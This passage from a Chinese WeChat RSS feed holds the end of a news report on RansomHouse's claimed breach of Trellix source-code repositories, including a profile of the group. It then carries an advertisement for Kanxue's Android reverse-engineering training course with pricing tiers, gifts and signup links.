leaf="">换句话说，Trellix承认仓库被“逛了一圈”，但目前认定自身的代码签发机制和产品交付链路未被污染。不过，至于攻击者究竟窃取了哪些具体数据、在内部潜伏了多久，这些问题公司并未给出明确答复。</span></p></div><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;color: rgb(44, 74, 242);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><strong style="box-sizing: border-box;"><span leaf="">源码泄漏的潜在杀伤力</span></strong></p></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">即便当下没有产品被篡改的迹象，部分源代码仓库遭到未授权访问，本身就蕴含着巨大风险。攻击者可以深入研究代码逻辑，寻找未公开的漏洞，策划更具针对性的利用方案；有时仓库中还会连带泄露内部接口设计、认证凭据或第三方依赖关系。更深一层的影响则可能出现在知识产权外流、品牌声誉受损以及供应链威胁上——如果被篡改过的组件未来通过各种渠道流入客户环境，后果将难以估量。这也正是安全企业不惜重金调查的原因所在。</span></p></div><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;color: rgb(44, 74, 242);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><strong style="box-sizing: border-box;"><span leaf="">起底RansomHouse：专偷数据的“中间人”</span></strong></p></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">RansomHouse并非普通勒索软件团伙。该组织自2021年底开始活跃，与传统“先加密再要钱”的勒索手法不同，他们更偏向于</span><strong style="box-sizing: border-box;"><span leaf="">窃取数据后直接实施勒索，</span></strong><span leaf="">企图以曝光敏感资料为筹码。团伙对外自称“专业中间人”，声称此举是为了揭露受害方糟糕的网络安全实践，但安全业界普遍认定其为纯粹出于经济动机的犯罪集团。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">该组织屡屡攻击大型机构，触角伸向医疗、零售、政府、科技以及关键基础设施等领域，此前还宣称对芯片厂商AMD、零售巨头Shoprite及多家欧洲机构实施过入侵。其入侵手段并不神秘，</span><strong style="box-sizing: border-box;"><span leaf="">通常利用暴露在公网的服务、弱口令、网络钓鱼以及存在缺陷的远程访问系统作为突破口。</span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">目前，事件仍在发酵。RansomHouse是否会继续释出更多内部数据，Trellix又能否在调查完成后给出更清晰的技术复盘。</span></p></div><div style="font-size: 14px;color: rgb(160, 160, 160);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><em style="box-sizing: border-box;"><span leaf="">资讯来源：本文综合自Trellix官方声明、RansomHouse暗网泄露站点的公开信息及网络安全专业媒体报道。</span></em></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131106" src="https://wechat2rss.xlab.app/img-proxy/?k=0cf04634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2RCk7yThhBLIUbH4q3aQt0B7qaZQkicdSfE4CfxEU9spnPh2WVagN2sZH7H77mPE6EcsbzvChL8610PTSQAFtJKKxhKZeicH3mU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131109" src="https://wechat2rss.xlab.app/img-proxy/?k=b4723bd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1O50IPHAz4bKm06ibfvA4wmOmibOHrvhmAIwOBN1W97HSMPk1rcPEibTdqbWXgubYRr8B8rVnM1ARrEUv0vn1RS3iaPbNT2fmRAhY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131108" src="https://wechat2rss.xlab.app/img-proxy/?k=21612377&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K0Cps1c7qg7gpgeqaGRol1dhVRz6RFF87c9N2oNOeBdSHn1icsag8yMFObqq2icPxjDmKIMI5UAg1wqYm930jGhW61eC8icDx7mJU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131110" src="https://wechat2rss.xlab.app/img-proxy/?k=307f6f36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1zF1YEc6txpLjFfuXCrGHs8EW9WGfdTPtLlH4lZibQOqibfan5cN4hRmicz9xHic5JYMMibF1QgfWIQXAgpytHhDf4zN5ha5CDicE1c%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131107" src="https://wechat2rss.xlab.app/img-proxy/?k=91d2f291&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1IlDqaB0eazSXF5FsjGCSjFntddgiaevxcBXQxiaZ75KkPiauZia7dIon08S0m6nf17gOZbn3cQky9fBiahS1ReiaOU5fV5IeprEtCU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d7bf7158&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614768%26idx%3D2%26sn%3D3d368425ca0e56bf5fa6d9f78ed44835">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>月薪3W定向培养！看雪安卓高级研修班『2026夏季班』火热招生中</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614768&amp;idx=3&amp;sn=2a7f45abf94f140f472730c927db1da1</link>
      <description>看雪安卓班・火热报名中</description>
      <content:encoded><![CDATA[<p><span>看雪高研</span> <span>2026-05-09 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9ee1f5a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3zL3kDVFhpSqNkXFwvIIcRRu6Chdv0b3lrexIkjgicMlesDjfTCBPHXiaRGQeZoEgDNia2f3l7ic4HWQmBCm8T6kgQwkr13W0FOZ4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪安卓班・火热报名中</p>
  <p style="margin: 15px 8px 0px;white-space: normal;line-height: 1.5em;text-align: center;"><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40370370370370373" data-s="300,640" data-type="jpeg" data-w="1080" style="font-size: var(--articleFontsize);letter-spacing: 0.034em;width: 100%;" data-backw="562" data-backh="227" src="https://wechat2rss.xlab.app/img-proxy/?k=8fb0d275&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1UG7KPNHN8HVx2RyIYQqtvrXkM8AeJXlEty7JvU9zicugqqmiaohpp3f7HOo2liaJPEEZyxPQufIItyicWB6sSicpRQ%2F640%3Fwx_fmt%3Djpeg"/></span></strong></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="font-size: 15px;color: rgb(63, 63, 63);text-align: left;letter-spacing: 1px;"><p style="margin-top: 16px;"><span style="font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf="">有问必答，知无不言，言无不尽，用心服务！</span></span></p></li><li style="font-size: 15px;color: rgb(63, 63, 63);text-align: left;letter-spacing: 1px;"><p><span style="font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf="">更有职业推介服务，全方位简历指导/服务就业！</span></span></p></li></ul><div style="font-size: 15px;color: rgb(77, 77, 77);letter-spacing: 1px;line-height: 1.5;padding-right: 8px;padding-left: 8px;"><div style="will-change: transform;" powered-by="xiumi.us"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 10px;margin-bottom: 20px;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;min-width: 5%;height: auto;box-shadow: rgb(69, 119, 218) 6px 6px 0px 0px;padding: 8px;"><div style="text-align: left;" powered-by="xiumi.us"><div style="text-align: justify;font-size: 16px;"><p style="text-align: left;white-space: normal;"><strong><span leaf="">1、开学大礼包</span></strong></p></div></div></div></div></div></div><p style="margin: 40px 8px 0px;white-space: normal;text-align: center;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;color: rgb(0, 128, 255);"><span style="font-size: 15px;letter-spacing: 1px;"><span leaf=""><span textstyle="" style="color: rgb(0, 82, 255);">现在购课，</span></span></span><span style="font-size: 15px;letter-spacing: 1px;"><span leaf=""><span textstyle="" style="color: rgb(0, 82, 255);">开学礼包升级</span></span></span></span><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-w="64" style="color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;max-height: 20px !important;width: 20px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=04a21fb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UibM134tIsO1j5yqHyNhh9arj090oAL7zGhRJRq6cFqFOlDZMleLl4pw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 15px 8px 0px;white-space: normal;"><span style="letter-spacing: 1px;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><span textstyle="" style="color: rgb(0, 82, 255);">3W班高研网课开学大礼包：orange pi 5 3588S 云手机套装</span></span></span></p><p style="margin: 15px 8px 0px;white-space: normal;"><span style="letter-spacing: 1px;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><span textstyle="" style="font-style: italic;">*包含香橙派5裸金属板x1、128G/256G NVMe SSD、USB无线网卡、亚克力外壳带散热套件、电源开机即用，GPT直通方案，运行五个容器云手机无压力！</span></span></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;margin-top: 16px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.100126742712294" data-s="300,640" data-type="jpeg" data-w="789" style="width:326px;height:359px;" data-backw="562" data-backh="618" src="https://wechat2rss.xlab.app/img-proxy/?k=6baf3440&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1UG7KPNHN8EGhnFtJH2ysic4o9sUdFchNj0L0oibTAJbcZgz267qrztPPHwibibO3VQwOIAyurnf4WD3v73UaFicDSw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin: 15px 8px 24px;white-space: normal;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(63, 63, 63);"><span leaf="">2W班高研网课开学大礼包：测试手机一部-pixel 2代</span></span></p><div style="margin-bottom: 0px;padding-right: 8px;padding-left: 8px;font-size: 15px;color: rgb(77, 77, 77);letter-spacing: 1px;line-height: 1.5;"><div powered-by="xiumi.us" style="will-change: transform;"><div style="margin-top: 10px;margin-bottom: 20px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><div style="padding: 8px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;min-width: 5%;height: auto;box-shadow: rgb(69, 119, 218) 6px 6px 0px 0px;"><div powered-by="xiumi.us" style="text-align: left;"><div style="text-align: justify;font-size: 16px;"><p style="text-align: left;"><strong><span leaf="">2、内容安排</span></strong></p></div></div></div></div></div></div><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9518518518518518" data-type="jpeg" data-w="1080" style="vertical-align: inherit;box-sizing: border-box;width: 100%;height: auto;" data-cropselx1="0" data-cropselx2="562" data-cropsely1="0" data-cropsely2="972" data-backw="562" data-backh="535" src="https://wechat2rss.xlab.app/img-proxy/?k=6e9e31cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8G6WXOzRYbGCPcfvOlQgM8XImL5Jr3NXnwmGOXowlfwsU728M9mYCQSPIxia3XeibZxsrge6LLrtUxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9472222222222222" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;height: auto;" data-backw="578" data-backh="548" data-imgfileid="311107537" src="https://wechat2rss.xlab.app/img-proxy/?k=a1fb5f8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8G6WXOzRYbGCPcfvOlQgM8X0iaNQbK0eMNOHrxAiaPH5LPME5HrJVB7ISeUdXfmSwhg8iaHPibvKiaYkAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="font-size: 16px;"><div style="will-change: transform;margin-left: 8px;margin-right: 8px;"><div style="margin-top: 10px;margin-bottom: 10px;isolation: isolate;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgba(255, 255, 255, 0);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;border-style: solid;border-width: 1px 6px 6px 1px;border-color: rgb(138, 202, 244);align-self: flex-start;"><div style="font-size: 15px;color: rgb(62, 62, 62);text-align: justify;" powered-by="xiumi.us"><p style="white-space: normal;"><strong><span leaf="">3、服务对象</span></strong></p></div></div></div></div></div><div data-role="paragraph" style="margin-bottom: 0px;"><p style="margin-top: 20px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;"><span leaf="">有</span><strong><span leaf="">一定基础</span></strong><span leaf="">的初、中级安卓逆向研究员，迫切希望提高自身能力、学习能力强，</span><strong><span leaf="">升职加薪意愿强烈、学习意愿强烈。</span></strong></span></p></div><div style="font-size: 16px;"><div style="will-change: transform;margin-left: 8px;margin-right: 8px;"><div style="margin-top: 10px;margin-bottom: 10px;isolation: isolate;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgba(255, 255, 255, 0);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;border-style: solid;border-width: 1px 6px 6px 1px;border-color: rgb(138, 202, 244);align-self: flex-start;"><div style="font-size: 15px;color: rgb(62, 62, 62);text-align: justify;" powered-by="xiumi.us"><p style="white-space: normal;"><strong><span leaf="">4、服务内容</span></strong></p></div></div></div></div></div><p data-role="paragraph" style="margin-bottom: 0px;"><ul style="text-align: justify;width: 577.422px;margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="margin-right: 16px;margin-left: 16px;text-align: justify;"><p style="margin-top: 20px;margin-right: 16px;margin-left: 16px;"><span style="font-size: 15px;"><span leaf="">上述列出的干货课时内容</span><strong><span leaf="">；</span></strong></span></p></li><li style="margin-right: 16px;margin-left: 16px;text-align: justify;"><p style="margin-right: 16px;margin-left: 16px;"><span style="font-size: 15px;"><span leaf="">专属班主任，敦促学习、鼓励士气；良好的</span><strong><span leaf="">抱团学习</span></strong><span leaf="">的氛围；</span></span></p></li><li style="margin-right: 16px;margin-left: 16px;text-align: justify;"><p style="margin-right: 16px;margin-left: 16px;"><span style="font-size: 15px;letter-spacing: 0.034em;"><span leaf="">注意2W班和3W班是</span></span><strong style="font-size: 15px;letter-spacing: 0.034em;"><span leaf="">完全独立</span></strong><span style="font-size: 15px;letter-spacing: 0.034em;"><span leaf="">噢，没有交集；</span></span></p></li></ul></p><p style="text-align: left;margin: 8px 8px 0px;"><span style="font-size: 15px;color: rgb(63, 63, 63);caret-color: rgb(255, 0, 0);"><span leaf="">PS：以上为总体服务计划，具体课程时间(段)安排以最终合同约定的课程表为准。</span></span></p><div style="font-size: 16px;"><div style="will-change: transform;margin-left: 8px;margin-right: 8px;"><div style="margin-top: 10px;margin-bottom: 10px;isolation: isolate;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgba(255, 255, 255, 0);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;border-style: solid;border-width: 1px 6px 6px 1px;border-color: rgb(138, 202, 244);align-self: flex-start;"><div style="font-size: 15px;color: rgb(62, 62, 62);text-align: justify;" powered-by="xiumi.us"><p style="white-space: normal;"><strong><span leaf="">5、看雪安卓应用安全能力认证</span></strong></p></div></div></div></div></div><p style="margin-bottom: 0px;vertical-align: inherit;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(63, 63, 63);font-size: 15px;"><span leaf="">为了更加针对性、更高效地培养安全人才，为企业的发展和壮大赋能，提高企业在招聘活动中及人才在求职过程中的对接效率，结合看雪自身在安全圈的深厚技术积累沉淀，</span></span><strong style="color: rgb(63, 63, 63);font-size: 15px;"><span leaf="">看雪正式针对《安卓高级研修班》学员推出《看雪安卓应用安全能力认证》。</span></strong></p><p style="margin: 8px 8px 0px;white-space: normal;text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5787037037037037" data-s="300,640" data-type="jpeg" data-w="1080" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8EzZRy5qwFjjHCicRxice6F9ic7y0dNBU36JkNfRKGdaJV49HfgnkFphH9z8FYKh5OFYQHjAJaicZEylw/640?wx_fmt=jpeg" data-cropx1="0" data-cropx2="1080" data-cropy1="0" data-cropy2="626.4768683274021" data-backw="562" data-backh="325" src="https://wechat2rss.xlab.app/img-proxy/?k=2b23195e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1UG7KPNHN8G6WXOzRYbGCPcfvOlQgM8XVibYBGNUJsVoo5AZT7DiaVyjZ2ic7hokticNuCG0HzxxAUibeFTbMSkgl2Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0px;white-space: normal;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(63, 63, 63);"><strong><span style="font-size: 15px;letter-spacing: 1px;"><span leaf="">3w班</span></span></strong></span></p><p style="margin-bottom: 0px;text-align: center;margin-left: 8px;margin-right: 8px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5824074074074074" data-s="300,640" data-type="jpeg" data-w="1080" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8EzZRy5qwFjjHCicRxice6F9icb52XEmaQiarM9NeZFGr3phOWNXqNEOVB9BmsdC2VnetAic0AkKD9G99Q/640?wx_fmt=jpeg" data-cropx1="0" data-cropx2="1080" data-cropy1="0" data-cropy2="630.3202846975089" data-backw="562" data-backh="327" src="https://wechat2rss.xlab.app/img-proxy/?k=0b3fcaae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1UG7KPNHN8G6WXOzRYbGCPcfvOlQgM8XSF3GVlgpWFRIFibicomMt4ic7U47GaJ4ia5icZAdqvd0saKYUdGnWTsUoUA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0px;text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 15px;letter-spacing: 1px;color: rgb(63, 63, 63);"><span leaf="">2w班</span></span></strong></p><div style="font-size: 16px;"><div style="will-change: transform;margin-left: 8px;margin-right: 8px;"><div style="margin-top: 10px;margin-bottom: 10px;isolation: isolate;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgba(255, 255, 255, 0);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;border-style: solid;border-width: 1px 6px 6px 1px;border-color: rgb(138, 202, 244);align-self: flex-start;"><div style="font-size: 15px;color: rgb(62, 62, 62);text-align: justify;" powered-by="xiumi.us"><p style="white-space: normal;"><strong><span leaf="">6、报名方式</span></strong></p></div></div></div></div></div><h3 style="margin-top: 20px;margin-left: 8px;margin-right: 8px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf=""><span textstyle="" style="letter-spacing: normal;">网课月薪三万计划：<a href="https://www.kanxue.com/book-brief-84.htm" target="_blank">https://www.kanxue.com/book-brief-84.htm</a></span></span></span></strong></h3><p style="text-align: center;margin: 8px 8px 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9859154929577465" data-s="300,640" data-type="png" data-w="213" style="width: 139px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad28174b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1WAGrN2mTiaTshjLG7IKygeF5hTPktOa6NEFX2thb5YIVBAEboJOqRNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(95, 95, 95);font-size: 14px;text-align: center;"><span leaf="">扫码立即报名</span></span></p><p style="text-align: left;margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf=""><span textstyle="" style="letter-spacing: normal;">网课月薪两万计划：<a href="https://www.kanxue.com/book-brief-83.htm" target="_blank">https://www.kanxue.com/book-brief-83.htm</a></span></span></span></strong></p><p style="text-align: center;margin: 8px 8px 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0047169811320755" data-s="300,640" data-type="png" data-w="212" style="width: 136px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ab5e602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1fZjk6B03DMPiapvXabyfHZic0nM34LXmSRf1ethDINiaTgfccDmkHoebA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="text-align: center;color: rgb(95, 95, 95);font-size: 14px;"><span leaf="">扫码立即报名</span></span></p><div style="font-size: 16px;"><div style="will-change: transform;margin-left: 8px;margin-right: 8px;"><div style="margin-top: 10px;margin-bottom: 10px;isolation: isolate;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgba(255, 255, 255, 0);min-width: 10%;flex: 0 0 auto;height: auto;padding: 11px;border-style: solid;border-width: 1px 6px 6px 1px;border-color: rgb(138, 202, 244);align-self: flex-start;"><div style="font-size: 15px;color: rgb(62, 62, 62);text-align: justify;" powered-by="xiumi.us"><p style="white-space: normal;"><strong><span leaf="">7、免费试看章节</span></strong></p></div></div></div></div></div><h3 style="text-align: left;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;text-align: justify;"><span leaf="">3W:《ida trace分析非标准算法》</span></span></h3><h3 style="text-align: left;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;text-align: justify;"><span leaf="">3W:《Fart&amp;frida》</span></span></h3><p style="text-align: center;margin: 8px 8px 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9906976744186047" data-s="300,640" data-type="png" data-w="215" style="width: 133px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6c36a59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1mNZtRdLPic90SgbWW4aJhicZwvYRKOibqYshHV3960cXyvFek6r2I4EgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin: 8px 8px 0px;"><span style="font-size: 14px;color: rgb(95, 95, 95);"><span leaf="">扫码免费试看</span></span></p><p style="text-align: left;margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, 